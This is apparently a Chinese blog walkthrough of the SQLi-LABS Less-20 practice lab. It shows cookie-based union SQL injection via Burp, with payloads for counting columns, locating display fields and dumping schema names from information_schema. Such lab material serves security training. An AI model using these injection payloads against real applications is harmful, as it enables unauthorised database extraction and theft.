SQLi LABS Less-20

简介: 第二十关请求方式为POST请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入 通过 cookie 注入

第二十关请求方式为POST请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入


通过 cookie 注入



第一步,判断注入方式

先看源码



image.png



账号和密码对特殊字符进行过滤 , 固 不能使用常规注入

image.png


登录成功会保存 cookie , 有一个根据cookie中的用户名查询的SQL 并且从cookie中获取的用户名没有过滤 , 同时查询的结果会展示在页面中 , 我们可以通过修改 cookie中 uname的内容 进行联合注入


登录成功后有显示位 , 固 可以使用联合注入


image.png



我们使用 Burp工具 进行代理拦截 , 刷新网页触发拦截



第二步,获取字段数

使用 order by 从第1列开始排序 , 直至没有该列

Cookie: uname=admin' order by 4 #

第4列时出现异常 , 固 字段数为3

image.png

 

第三步,获取显示位置

使用联合查询获取字段显示的位置

Cookie: uname=-1'union select 1,2,3 #

image.png

第四步,脱库

1. Cookie: uname=-1'union select 1,
2. (select group_concat(schema_name) 
3. from information_schema.schemata)
4. ,3 #

image.png

按照此方法继续获取表,获取字段,直至脱库


相关文章
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
184 0
SQLi LABS Less-25a
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
143 0
SQLi LABS Less-19
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
117 0
SQLi LABS Less-23
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
234 0
SQLi LABS Less-26
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
139 0
SQLi LABS Less-21
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
SQLi LABS Less-22
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
182 0
SQLi LABS Less-29
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
283 0
SQLi LABS Less-27
|
SQL 数据库
SQLi LABS Less-5
第五关请求方式为GET请求 , 注入点为 单引号字符串型注入 , 注入类型为 报错注入 报错注入常用(我觉得)的是 updatexml() , 该函数的第2个参数包含特殊字符时会报错,并将第2个参数的内容返回到错误信息中
121 0
SQLi LABS Less-5
|
SQL 安全 数据库
SQLi LABS Less-18
第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入 第一步,判断注入方式
157 0
SQLi LABS Less-18